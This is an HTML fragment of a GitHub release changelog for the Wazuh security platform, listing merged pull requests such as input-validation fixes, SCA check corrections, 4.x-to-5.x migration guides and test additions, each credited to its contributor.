<li>Safeguards to inventory sync by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534767894" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36469" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36469/hovercard" href="https://github.com/wazuh/wazuh/pull/36469">#36469</a></li>
<li>Improve the method of detecting duplicates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504512576" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36344" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36344/hovercard" href="https://github.com/wazuh/wazuh/pull/36344">#36344</a></li>
<li>Fix race condition preventing inventory synchronization after agent reload by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551769345" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36682" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36682/hovercard" href="https://github.com/wazuh/wazuh/pull/36682">#36682</a></li>
<li>Added API integration tests workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MiguelazoDS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MiguelazoDS">@MiguelazoDS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4472493573" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36196" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36196/hovercard" href="https://github.com/wazuh/wazuh/pull/36196">#36196</a></li>
<li>Fix non-atomic write for <code>file_status.json</code> in logcollector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565514906" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36722" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36722/hovercard" href="https://github.com/wazuh/wazuh/pull/36722">#36722</a></li>
<li>Make agent-info shutdown waits interruptible by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4564093587" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36719" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36719/hovercard" href="https://github.com/wazuh/wazuh/pull/36719">#36719</a></li>
<li>Validate IP address in ip-customblock active response by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4570134407" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36730" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36730/hovercard" href="https://github.com/wazuh/wazuh/pull/36730">#36730</a></li>
<li>wazuh-agent remains active after uninstall on Fedora 44 / DNF5 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4568853035" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36727" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36727/hovercard" href="https://github.com/wazuh/wazuh/pull/36727">#36727</a></li>
<li>Use per-target rpath and remove redundant LD_LIBRARY_PATH/WAZUH_ENGINE_GROUP exports by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4531005682" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36455" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36455/hovercard" href="https://github.com/wazuh/wazuh/pull/36455">#36455</a></li>
<li>Fix changelog chronological order and update bumper script by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Darioortegaleyva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Darioortegaleyva">@Darioortegaleyva</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4569560130" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36729" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36729/hovercard" href="https://github.com/wazuh/wazuh/pull/36729">#36729</a></li>
<li>Monitoring a symlink without follow_symbolic_link by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Darioortegaleyva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Darioortegaleyva">@Darioortegaleyva</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4444803761" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36081" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36081/hovercard" href="https://github.com/wazuh/wazuh/pull/36081">#36081</a></li>
<li>SCA policies migration guide from 4.x to 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550901765" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36671" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36671/hovercard" href="https://github.com/wazuh/wazuh/pull/36671">#36671</a></li>
<li>Fix 5x  wazuhdb integration tests  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4562864780" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36713" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36713/hovercard" href="https://github.com/wazuh/wazuh/pull/36713">#36713</a></li>
<li>Downgrade transient manager-reported sync failures logs to debug by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4576461814" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36744" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36744/hovercard" href="https://github.com/wazuh/wazuh/pull/36744">#36744</a></li>
<li>Show sca timouts as Not Run by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpcerrone/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpcerrone">@jpcerrone</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488962491" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36258" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36258/hovercard" href="https://github.com/wazuh/wazuh/pull/36258">#36258</a></li>
<li>Authd workflow creation for 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4522600046" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36404" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36404/hovercard" href="https://github.com/wazuh/wazuh/pull/36404">#36404</a></li>
<li>Adapt remoted tests to 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4541524155" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36609" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36609/hovercard" href="https://github.com/wazuh/wazuh/pull/36609">#36609</a></li>
<li>Update unclassified event criteria by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551542627" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36681" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36681/hovercard" href="https://github.com/wazuh/wazuh/pull/36681">#36681</a></li>
<li>use safeloader in yaml file loader by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4582767203" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36753" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36753/hovercard" href="https://github.com/wazuh/wazuh/pull/36753">#36753</a></li>
<li>Downgrade expected modulesd socket warnings/errors during agent restart to debug by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4583215822" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36755" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36755/hovercard" href="https://github.com/wazuh/wazuh/pull/36755">#36755</a></li>
<li>Documentation: Ciscat and openscap migration to SCA by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpcerrone/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpcerrone">@jpcerrone</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4566095438" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36723" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36723/hovercard" href="https://github.com/wazuh/wazuh/pull/36723">#36723</a></li>
<li>Document the deprecation of OSquery in order to use IT Hygiene in version 5.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4583642489" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36756" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36756/hovercard" href="https://github.com/wazuh/wazuh/pull/36756">#36756</a></li>
<li>Preserve wazuh-syscheckd Full Disk Access attribution on macOS reload by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4583103632" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36754" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36754/hovercard" href="https://github.com/wazuh/wazuh/pull/36754">#36754</a></li>
<li>Normalize severity Msg  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hernanvalenzuela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hernanvalenzuela">@hernanvalenzuela</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4588829137" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36759" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36759/hovercard" href="https://github.com/wazuh/wazuh/pull/36759">#36759</a></li>
<li>Agent Groups 5x Migration Guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fcontrerasc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fcontrerasc">@fcontrerasc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4568131074" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36726" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36726/hovercard" href="https://github.com/wazuh/wazuh/pull/36726">#36726</a></li>
<li>Add NULL validation for optional FlatBuffer fields in inventory_sync by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4598119007" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36773" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36773/hovercard" href="https://github.com/wazuh/wazuh/pull/36773">#36773</a></li>
<li>Fix agent keepalive scheduling after system clock rollback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Darioortegaleyva/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Darioortegaleyva">@Darioortegaleyva</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503704905" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36338" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36338/hovercard" href="https://github.com/wazuh/wazuh/pull/36338">#36338</a></li>
<li>Create integratord migration guide to 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adman23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adman23">@Adman23</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4580559348" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36750" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36750/hovercard" href="https://github.com/wazuh/wazuh/pull/36750">#36750</a></li>
<li>Syslog output (csyslogd) 5.0 migration guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gonzaarancibia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gonzaarancibia">@gonzaarancibia</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4573759572" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36741" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36741/hovercard" href="https://github.com/wazuh/wazuh/pull/36741">#36741</a></li>
<li>Merge merge-4.14.7-into-main into main [automated] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4596517095" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36767" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36767/hovercard" href="https://github.com/wazuh/wazuh/pull/36767">#36767</a></li>
<li>Migration documentation: syslog input alternative by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4613452406" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36781" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36781/hovercard" href="https://github.com/wazuh/wazuh/pull/36781">#36781</a></li>
<li>Drop libcrypt dependency from Python dep by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614551071" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36782" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36782/hovercard" href="https://github.com/wazuh/wazuh/pull/36782">#36782</a></li>
<li>Change duplicated link to intented one by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4619366060" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36794" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36794/hovercard" href="https://github.com/wazuh/wazuh/pull/36794">#36794</a></li>
<li>Add centralized input validation for active response framework by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4578234540" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36745" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36745/hovercard" href="https://github.com/wazuh/wazuh/pull/36745">#36745</a></li>
<li>Fix sca check for etc/shadow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4619503472" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36795" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36795/hovercard" href="https://github.com/wazuh/wazuh/pull/36795">#36795</a></li>
<li>Align remoted metrics shipper with new field names by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4572800781" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36740" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36740/hovercard" href="https://github.com/wazuh/wazuh/pull/36740">#36740</a></li>
<li>Fix wrap PolicyBanner stat in 'sh -c' so glob expands in macOS SCA check 41062 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615585186" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36783" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36783/hovercard" href="https://github.com/wazuh/wazuh/pull/36783">#36783</a></li>
<li>Bump main branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4623354993" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36801" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36801/hovercard" href="https://github.com/wazuh/wazuh/pull/36801">#36801</a></li>
<li>Defer module coordination while FIM first sync is in progress by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4591815012" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36762" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36762/hovercard" href="https://github.com/wazuh/wazuh/pull/36762">#36762</a></li>
<li>Revert "Bump main branch" by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MARCOSD4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MARCOSD4">@MARCOSD4</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4623582882" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36802" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36802/hovercard" href="https://github.com/wazuh/wazuh/pull/36802">#36802</a></li>
<li>Change log severity for recoverable and expected conditions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hernanvalenzuela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hernanvalenzuela">@hernanvalenzuela</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615970610" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36786" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36786/hovercard" href="https://github.com/wazuh/wazuh/pull/36786">#36786</a></li>
<li>Prevent data race in schema validator factory concurrent initialization by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4616512800" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36789" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36789/hovercard" href="https://github.com/wazuh/wazuh/pull/36789">#36789</a></li>
<li>Schema generation for dotted and nested field mappings by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jam300/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jam300">@jam300</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536240667" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36473" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36473/hovercard" href="https://github.com/wazuh/wazuh/pull/36473">#36473</a></li>
<li>Engine support null values in schema validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4535313001" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36470" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36470/hovercard" href="https://github.com/wazuh/wazuh/pull/36470">#36470</a></li>
<li>docs: add Active Response 4.x to 5.x migration guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jcorredor-spec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jcorredor-spec">@jcorredor-spec</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4521476970" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36402" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36402/hovercard" href="https://github.com/wazuh/wazuh/pull/36402">#36402</a></li>
<li>Use env mappings for variable passing in builderpackage workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4572105403" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36738" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36738/hovercard" href="https://github.com/wazuh/wazuh/pull/36738">#36738</a></li>
<li>Adds 4.x to 5.x migration documentation. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rjcausarano/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rjcausarano">@rjcausarano</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615736469" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36785" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36785/hovercard" href="https://github.com/wazuh/wazuh/pull/36785">#36785</a></li>
<li>Fix AWS cross-account SQS queue URL when using iam_role_arn by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fcontrerasc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fcontrerasc">@fcontrerasc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4617279433" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36791" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36791/hovercard" href="https://github.com/wazuh/wazuh/pull/36791">#36791</a></li>
<li>Fix enrollment key validation and improve input handling by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4629562793" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36807" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36807/hovercard" href="https://github.com/wazuh/wazuh/pull/36807">#36807</a></li>
<li>Lower agent_sync_protocol and module sync log levels to reduce false-alarm noise by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4634109312" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36817" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36817/hovercard" href="https://github.com/wazuh/wazuh/pull/36817">#36817</a></li>
<li>Add unit tests for utils, aws_tools, DockerListener, gcloud and azure modules by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AnDumu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AnDumu">@AnDumu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4591653615" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36761" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36761/hovercard" href="https://github.com/wazuh/wazuh/pull/36761">#36761</a></li>
<li>Normalize numeric inode to string events (6960) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hernanvalenzuela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hernanvalenzuela">@hernanvalenzuela</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4641496397" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36837" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36837/hovercard" href="https://github.com/wazuh/wazuh/pull/36837">#36837</a></li>
<li>Prevent indexer consumer wait during shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4640571004" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36836" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36836/hovercard" href="https://github.com/wazuh/wazuh/pull/36836">#36836</a></li>
